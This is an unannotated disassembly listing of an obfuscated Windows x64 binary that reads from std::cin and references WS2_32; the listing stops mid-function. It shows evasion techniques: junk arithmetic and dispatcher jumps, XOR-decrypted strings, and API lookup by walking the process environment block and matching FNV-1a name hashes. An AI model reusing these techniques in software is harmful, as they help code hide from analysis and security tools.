add eax, 0xdb7a5c7a
xor eax, 0xc20828ca
rol eax, 0x44
popf
jmp 0x140461501
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1403cbad8]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov r8d, 0xec7cc3ad
pushf
not r8d
add r8d, 0xed6f3868
xor r8d, 0xef2c213f
rol r8d, 0x4f
popf
pushf
not r8d
add r8d, 0xbdc9b2aa
xor r8d, 0x8cc6a08b
rol r8d, 0x2b
popf
pushf
not r8d
add r8d, 0xc9775441
xor r8d, 0xf46ed278
rol r8d, 0x9d
popf
pushf
not r8d
add r8d, 0xec9537c7
xor r8d, 0xa4dbd49f
rol r8d, 0x4e
popf
push rax
pushf
mov eax, 0x148e7e24
pushf
not eax
add eax, 0xac621aa5
xor eax, 0xb4983924
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb029b386
xor eax, 0x81932248
rol eax, 0xdd
popf
jmp 0x140461501
movsxd rax, r8d
lea r9, [rbp + 0x30]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop
push rax
pushf
mov eax, 0xa67dc44a
pushf
not eax
add eax, 0xbd66e428
xor eax, 0xa8e16ac4
rol eax, 3
popf
pushf
not eax
add eax, 0xc29ffb1b
xor eax, 0xd257d24d
rol eax, 0x51
popf
jmp 0x140461501
mov eax, 0x7e897ac7
pushf
not eax
add eax, 0x81c12390
xor eax, 0x838be92b
rol eax, 0x96
popf
pushf
not eax
add eax, 0xba4b3363
xor eax, 0xc33f216e
rol eax, 0x2e
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140462c68
push rax
pushf
mov eax, 0xe9009154
pushf
not eax
add eax, 0x81076b30
xor eax, 0xb6c8bc33
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x87a78f29
xor eax, 0xb541a6fa
rol eax, 0x49
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x807ee046
pushf
not eax
add eax, 0xf3f74217
xor eax, 0xf5df034d
rol eax, 0xe
popf
pushf
not eax
add eax, 0xe1a6d1a2
xor eax, 0xe3e71b91
rol eax, 0xce
popf
pushf
not eax
add eax, 0xa182f346
xor eax, 0xad0d73c5
rol eax, 0x96
popf
pushf
not eax
add eax, 0xdc765eb3
xor eax, 0xedecbd70
rol eax, 0xd5
popf
jmp 0x140461501
lea rcx, [rbp + 0x30]
call fcn.14043b153
lea rdx, [0x1a8564cbe]
pushf
sub rdx, 0x68172d46
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14013cc60
lea rax, [rbp + 0x40]
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], sil
lea rax, [rbp + 0x10]
mov qword [rbp - 0x38], rax
lea rdx, [0x19a600d43]
pushf
sub rdx, 0x5a20edcb
popf
lea rcx, [rbp + 0x10]
call fcn.14013b390
mov rdi, rax
lea rax, [rbp - 0x30]
mov qword [rbp - 0x48], rax
lea rdx, [0x18e55bb81]
pushf
sub rdx, 0x4e169c29
popf
lea rcx, [rbp - 0x30]
call fcn.14013b390
mov rbx, rax
lea rdx, [0x1b2d13ab6]
pushf
sub rdx, 0x72921b7e
popf
lea rcx, [rbp - 0x10]
call fcn.14013b390
nop
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1a8e25b4d]
pushf
sub rcx, 0x68a30ddd
popf
call fcn.1402c5290
cmp byte [0x1403f4fa0], 0
jne 0x140462deb
push rax
pushf
mov eax, 0x434c4bc3
pushf
not eax
add eax, 0xf52e03bf
xor eax, 0xc38ca420
rol eax, 0x55
popf
pushf
not eax
add eax, 0xb14b217e
xor eax, 0xcc9c5e26
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xf42a50a3
xor eax, 0xfc454ffb
rol eax, 0x3c
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x50dd9166
pushf
not eax
add eax, 0xaa6fa8f7
xor eax, 0xb15d69b5
rol eax, 0x78
popf
pushf
not eax
add eax, 0xdb8de7aa
xor eax, 0xb5a3b82b
rol eax, 0xd3
popf
jmp 0x140461501
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r14, qword [0x1403f4e60]
lea rdi, [0x1b21fc058]
pushf
sub rdi, 0x71e07208
popf
cmp qword [0x1403f4e68], 0xf
cmova rdi, qword [0x1403f4e50]
movabs rbx, 0xef336f215b184d43
pushf
not rbx
add rbx, 0x56a6f082
xor rbx, 0x6c8ea33e
rol rbx, 0xa8
popf
pushf
not rbx
add rbx, 0x5140a74a
xor rbx, 0x7b50374d
rol rbx, 0x9b
popf
cmp r14, rbx
ja 0x140462ee1
push rax
pushf
mov eax, 0xbf4bf183
pushf
not eax
add eax, 0xa816b752
xor eax, 0x99c8f1ab
rol eax, 0x33
popf
pushf
not eax
add eax, 0x9ed13c19
xor eax, 0xe420140f
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xa2e42fd8
xor eax, 0xeee32d67
rol eax, 0x5a
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x6706cca7
pushf
not eax
add eax, 0xdcb21743
xor eax, 0x8eca3f14
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xa36037e5
xor eax, 0xaf83b77e
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa8e59f5a
xor eax, 0xb85921e5
rol eax, 0x4c
popf
jmp 0x140461501
cmp r14, 0xf
ja 0x140462f73
push rax
pushf
mov eax, 0xa49e3fa2
pushf
not eax
add eax, 0xbfe6ab89
xor eax, 0xc7f33af5
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xdc98163f
xor eax, 0xeb7039a6
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x8b8693fe
xor eax, 0xfc33fef9
rol eax, 0x27
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x719c6cf9
pushf
not eax
add eax, 0x88187b70
xor eax, 0xc558c428
rol eax, 0x42
popf
pushf
not eax
add eax, 0x839302f6
xor eax, 0xcecf6b00
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x89856055
xor eax, 0x9e8fd34e
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xfefa4da5
xor eax, 0xfd1eaa00
rol eax, 0xd6
popf
jmp 0x140461501
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x60], xmm0
jmp 0x140463539
mov rax, r14
or rax, 0xf
cmp rax, rbx
jbe 0x14046307c
push rax
pushf
mov eax, 0xec6685a8
pushf
not eax
add eax, 0xc6a73153
xor eax, 0xd4087e7d
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb451d38b
xor eax, 0xdb4bdecb
rol eax, 0x99
popf
pushf
not eax
add eax, 0x9714078c
xor eax, 0xfc10bc0e
rol eax, 0x55
popf
pushf
not eax
add eax, 0xfb447943
xor eax, 0xdc7cd98b
rol eax, 7
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x9749ea04
pushf
not eax
add eax, 0xc0d7be76
xor eax, 0xeb009508
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x94fa232f
xor eax, 0xecceeadd
rol eax, 0x73
popf
jmp 0x140461501
movabs rax, 0x9f90f65de975a423
pushf
not rax
add rax, 0x7a7c8cca
xor rax, 0x5906e8bf
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x698ca453
xor rax, 0x788f28c3
rol rax, 0x34
popf
pushf
not rax
add rax, 0x59108730
xor rax, 0x65be9d78
rol rax, 0x4d
popf
add rax, 0x27
push rax
pushf
mov eax, 0x2bdba008
pushf
not eax
add eax, 0xc13b149d
xor eax, 0xf98efe86
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa843034a
xor eax, 0xf4fcdc80
rol eax, 0xfa
popf
jmp 0x140461501
mov rcx, rax
call fcn.140420f62
test rax, rax
je 0x140463175
push rax
pushf
mov eax, 0xb2b9ac63
pushf
not eax
add eax, 0x87183f9f
xor eax, 0x9e02de1d
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xee466a52
xor eax, 0xa3ea1cdb
rol eax, 0x5c
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x3a3d66d1
pushf
not eax
add eax, 0x9fe90673
xor eax, 0xfc0f437e
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x852d0a2a
xor eax, 0xb8736906
rol eax, 0x36
popf
pushf
not eax
add eax, 0xe89525e8
xor eax, 0xa2e8d888
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x992dbc3c
xor eax, 0x8575dc87
rol eax, 0xb9
popf
jmp 0x140461501
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14046351d
mov rbx, rax
mov ecx, 0xe7d6ff19
pushf
not ecx
add ecx, 0xeca7cb92
xor ecx, 0xd497a457
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xda19b0e1
xor ecx, 0xc990634b
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xa3d29ee3
xor ecx, 0x8642da72
rol ecx, 0x1e
popf
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1404632c6
push rax
pushf
mov eax, 0x8eb3eae0
pushf
not eax
add eax, 0xc29d5bbf
xor eax, 0x918ce0d1
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9514d928
xor eax, 0x8d43a67e
rol eax, 0x60
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xb03a91b4
pushf
not eax
add eax, 0x8cee65b6
xor eax, 0xa10adfeb
rol eax, 0x91
popf
pushf
not eax
add eax, 0xbec80873
xor eax, 0xecef7509
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8a621cd5
xor eax, 0xc80f95b4
rol eax, 0xe4
popf
jmp 0x140461501
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140463372
push rax
pushf
mov eax, 0xf806595d
pushf
not eax
add eax, 0xffd555dd
xor eax, 0x8ac0aa44
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xbd84c3c9
xor eax, 0xeac53988
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbd3e2326
xor eax, 0xc925788e
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xaddbe6ff
xor eax, 0x9a0651dc
rol eax, 0xb9
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x2ecff831
pushf
not eax
add eax, 0xe94043fd
xor eax, 0x847b6f8a
rol eax, 3
popf
pushf
not eax
add eax, 0xdd93494d
xor eax, 0xd3f8bd1b
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xc87ca66f
xor eax, 0xa91ea942
rol eax, 0xf4
popf
jmp 0x140461501
jmp 0x140463135
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1404634af
push rax
pushf
mov eax, 0x1103a148
pushf
not eax
add eax, 0xad4c8cd2
xor eax, 0xb70e7f2c
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x8d9460dd
xor eax, 0xa943f269
rol eax, 0x74
popf
pushf
not eax
add eax, 0xd7006ca1
xor eax, 0xfbd2cc7d
rol eax, 0xaa
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x71eaf99a
pushf
not eax
add eax, 0xb863d6f7
xor eax, 0xe927e6ab
rol eax, 0x33
popf
pushf
not eax
add eax, 0x8c9d119d
xor eax, 0xacdb56a3
rol eax, 0x53
popf
jmp 0x140461501
call fcn.140420f62
mov rsi, rax
push rax
pushf
mov eax, 0xc27e0bde
pushf
not eax
add eax, 0x9fef6206
xor eax, 0xf795bbbc
rol eax, 0xde
popf
pushf
not eax
add eax, 0xb5fcb157
xor eax, 0xeb4353f0
rol eax, 0xf8
popf
jmp 0x140461501
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], rbx
lea r8, [r14 + 1]
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [0x1be4728b1]
pushf
sub rdx, 0x7e080979
popf
lea rcx, [rbp + 0x80]
call fcn.14013b390
nop
lea rdx, [0x1ac4adde2]
pushf
sub rdx, 0x6c0b8f72
popf
lea rcx, [rbp + 0xa0]
call fcn.14013b390
nop
lea rdx, [0x189ad8a3b]
pushf
sub rdx, 0x496e6ac3
popf
lea rcx, [rbp + 0xc0]
call fcn.14013b390
nop
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rsp + 0x48], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rbp - 0x78], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rbp - 0x58], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov r8d, 0xbda94133
pushf
not r8d
add r8d, 0xf0c00779
xor r8d, 0xedecad20
rol r8d, 0x43
popf
pushf
not r8d
add r8d, 0xe5b31521
xor r8d, 0xf4108824
rol r8d, 0xce
popf
pushf
not r8d
add r8d, 0xba03c8bd
xor r8d, 0xfe74b29f
rol r8d, 0x8e
popf
pushf
not r8d
add r8d, 0x84f7837e
xor r8d, 0xc9c1fe7f
rol r8d, 0xca
popf
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140457673
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14046370b
push rax
pushf
mov eax, 0x5f723392
pushf
not eax
add eax, 0xf68aad87
xor eax, 0xe7582a0d
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xbd99808f
xor eax, 0xae063ed2
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd7f8c4d6
xor eax, 0xe7ebca94
rol eax, 0x2d
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xfb737c57
pushf
not eax
add eax, 0xc2694c09
xor eax, 0xb766f1ca
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xc5efc660
xor eax, 0xbf4e853b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x9120b2b4
xor eax, 0xebb46a2c
rol eax, 0xfd
popf
jmp 0x140461501
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1404637bd
push rax
pushf
mov eax, 0x9073916e
pushf
not eax
add eax, 0xeb51c34e
xor eax, 0x89f84a09
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xab03416f
xor eax, 0x812ba775
rol eax, 0x17
popf
pushf
not eax
add eax, 0xea69a6a2
xor eax, 0xc3b7d278
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc8fd7373
xor eax, 0xee6d6ca3
rol eax, 0xcb
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x9b49c8a3
pushf
not eax
add eax, 0xd0fea229
xor eax, 0x90ffaaba
rol eax, 0x91
popf
pushf
not eax
add eax, 0x92e87ab9
xor eax, 0xacc13022
rol eax, 0xee
popf
jmp 0x140461501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14046384b
push rax
pushf
mov eax, 0x8e4ec134
pushf
not eax
add eax, 0xa80b527a
xor eax, 0xa11f29f5
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xac0719fc
xor eax, 0x93d4980f
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xfe9caede
xor eax, 0xc9e71378
rol eax, 0x40
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x9dada786
pushf
not eax
add eax, 0xaff34055
xor eax, 0xa84e3216
rol eax, 0x67
popf
pushf
not eax
add eax, 0xb8a06b48
xor eax, 0xd1ea7a3d
rol eax, 0xed
popf
pushf
not eax
add eax, 0xbfa41dac
xor eax, 0xaf0b9147
rol eax, 0xb4
popf
jmp 0x140461501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xa00928e0
pushf
not eax
add eax, 0xad8d6bfd
xor eax, 0xfd767f54
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb7cda7b6
xor eax, 0xc179e6c8
rol eax, 0x40
popf
pushf
not eax
add eax, 0xcc59b2e1
xor eax, 0xa40ab75a
rol eax, 0xae
popf
pushf
not eax
add eax, 0xad2b9823
xor eax, 0xe673415a
rol eax, 0xdd
popf
jmp 0x140461501
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x60]
call fcn.1404276ce
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
push rax
pushf
mov eax, 0x2cc96e1f
pushf
not eax
add eax, 0x92dc4df8
xor eax, 0xb31824bc
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xd13a8d2d
xor eax, 0x97938101
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xeae9e43c
xor eax, 0xa234af6c
rol eax, 0xca
popf
pushf
not eax
add eax, 0xb9840a55
xor eax, 0xeb2a6dd7
rol eax, 0x83
popf
jmp 0x140461501
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140463a2a
push rax
pushf
mov eax, 0xa77e35ff
pushf
not eax
add eax, 0xe9ffa232
xor eax, 0xea917ee1
rol eax, 0x13
popf
pushf
not eax
add eax, 0xa2a459f9
xor eax, 0x937a67b8
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xa653193b
xor eax, 0x95744327
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xa1c3de2f
xor eax, 0xa0e49041
rol eax, 0x15
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x1d49a265
pushf
not eax
add eax, 0xeb03f8ad
xor eax, 0xae19dc87
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9a63e6ac
xor eax, 0x86a30c5c
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9b9744f3
xor eax, 0xc856ba88
rol eax, 0x87
popf
pushf
not eax
add eax, 0x9691d009
xor eax, 0xc11b4a56
rol eax, 0xa4
popf
jmp 0x140461501
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140463abf
push rax
pushf
mov eax, 0x842caabe
pushf
not eax
add eax, 0xadf18bc7
xor eax, 0x9990dbe1
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xcd2533d3
xor eax, 0xe8f4df98
rol eax, 0x2a
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x4ece3633
pushf
not eax
add eax, 0xb8a51327
xor eax, 0xf58babff
rol eax, 0x71
popf
pushf
not eax
add eax, 0xab1c4522
xor eax, 0xbd058c67
rol eax, 0x93
popf
jmp 0x140461501
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xffd4c2b3
pushf
not eax
add eax, 0xaa007710
xor eax, 0xe4ef85b3
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x8aecc2f5
xor eax, 0xa95d4875
rol eax, 0x42
popf
jmp 0x140461501
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x58dd8910
pushf
not r8d
add r8d, 0xc7cf738a
xor r8d, 0xa2d91851
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0xf7cd6d0e
xor r8d, 0xebac747c
rol r8d, 0x71
popf
pushf
not r8d
add r8d, 0xcf3b52f8
xor r8d, 0xee66752e
rol r8d, 0xf0
popf
pushf
not r8d
add r8d, 0xbb7bc2bb
xor r8d, 0xc09ee341
rol r8d, 0xfb
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140463c1a
push rax
pushf
mov eax, 0x73f84331
pushf
not eax
add eax, 0x8b92c0fe
xor eax, 0x8c33526a
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xe4f20872
xor eax, 0xbfff71e6
rol eax, 0x95
popf
pushf
not eax
add eax, 0xab0f6fdc
xor eax, 0xa1dc2bb9
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x85a7a0a8
xor eax, 0xc4cace26
rol eax, 0x81
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xa2b1ac1e
pushf
not eax
add eax, 0xcebe78f5
xor eax, 0x9d40370f
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x9d171e47
xor eax, 0xff8cb66b
rol eax, 0xa4
popf
jmp 0x140461501
nop
push rax
pushf
mov eax, 0x7e89f4bf
pushf
not eax
add eax, 0xb413bf7e
xor eax, 0xbdde55c5
rol eax, 0x96
popf
pushf
not eax
add eax, 0xd68af79b
xor eax, 0xd7a8e1b5
rol eax, 0x23
popf
jmp 0x140461501
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140463ce0
push rax
pushf
mov eax, 0x4cbebb79
pushf
not eax
add eax, 0xff0d51fa
xor eax, 0x8d1d14aa
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe624c3f6
xor eax, 0xd5792c00
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xdc769d6f
xor eax, 0x8393b099
rol eax, 0xa8
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xc3b37ced
pushf
not eax
add eax, 0xabbd4fb1
xor eax, 0xa2d3747f
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xb04b2b26
xor eax, 0x98fdb290
rol eax, 0x27
popf
jmp 0x140461501
cmp r8d, 0x6cc50f18
je 0x140463d53
push rax
pushf
mov eax, 0x30445cc3
pushf
not eax
add eax, 0xa310a1a2
xor eax, 0xb6577581
rol eax, 0x60
popf
pushf
not eax
add eax, 0xa0cc238f
xor eax, 0xdcfcf22f
rol eax, 0xe
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xf80e70d7
pushf
not eax
add eax, 0xc7d66a7a
xor eax, 0xa18bf501
rol eax, 0xea
popf
pushf
not eax
add eax, 0xcb6496c6
xor eax, 0x9b26490c
rol eax, 0x72
popf
jmp 0x140461501
test r9d, r9d
jne 0x140463dd1
push rax
pushf
mov eax, 0x9a4876f9
pushf
not eax
add eax, 0xa8bb1e6e
xor eax, 0x847270d5
rol eax, 0x62
popf
pushf
not eax
add eax, 0xbc41c6d0
xor eax, 0xe886f338
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb1798512
xor eax, 0xfe3b28c4
rol eax, 0x4b
popf
jmp 0x140461501
push rax
pushf
mov eax, 0xc3b57f0b
pushf
not eax
add eax, 0xbdf907ad
xor eax, 0xd790033c
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf6e00471
xor eax, 0xffe6df2c
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x88d8c110
xor eax, 0xb13b3706
rol eax, 0xc
popf
jmp 0x140461501
mov rax, qword [rax]
jmp 0x1404639ae
lea rdx, [0x1ba95d9ee]
pushf
sub rdx, 0x7a568b9e
popf
lea rcx, [rbp + 0x60]
call fcn.14013b390
nop
lea rdx, [0x19b235982]
pushf
sub rdx, 0x5ae43a4a
popf
lea rcx, [rbp + 0x80]
call fcn.14013b390
nop
lea rdx, [0x1ad7d7d95]
pushf
sub rdx, 0x6d3e2f25
popf
lea rcx, [rbp + 0xa0]
call fcn.14013b390
nop
lea rdx, [0x19edc5899]
pushf
sub rdx, 0x5e9d3921
popf
lea rcx, [rbp + 0xc0]
call fcn.14013b390
nop
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rsp + 0x48], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rbp - 0x78], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rbp - 0x58], xmm1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov r8d, 0x75d77127
pushf
not r8d
add r8d, 0xd393bc89
xor r8d, 0xc9680b4b
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xc2949cc8
xor r8d, 0xdbf29b73
rol r8d, 0x42
popf
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140457673
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140463ffb
push rax
pushf
mov eax, 0xe1f4a3db
pushf
not eax
add eax, 0xb0447347
xor eax, 0xf4fe853d
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xaf250311
xor eax, 0x9a7f9c05
rol eax, 0x7c
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x89ba821
pushf
not eax
add eax, 0xd289cb15
xor eax, 0xcba2b446
rol eax, 0x17
popf
pushf
not eax
add eax, 0xf318f1da
xor eax, 0x9897cb93
rol eax, 0x61
popf
jmp 0x140461501
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14046409a
push rax
pushf
mov eax, 0x976f88d5
pushf
not eax
add eax, 0xf9fe7e07
xor eax, 0x92d65406
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xf1936d14
xor eax, 0xf37d8efd
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd3a91d79
xor eax, 0xadcff362
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa33b9032
xor eax, 0x80c324a3
rol eax, 0x98
popf
jmp 0x140461501
push rax
pushf
mov eax, 0x4b74dfa4
pushf
not eax
add eax, 0xf76d609b
xor eax, 0x927cc915
rol eax, 0x46
popf
pushf
not eax
add eax, 0xa1a2f274
xor eax, 0xbd1f45a1
rol eax, 0x60
popf
pushf
not eax
add eax, 0xe3308002
xor eax, 0xe5a15f7d
rol eax, 0x19
popf
jmp 0x140461501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
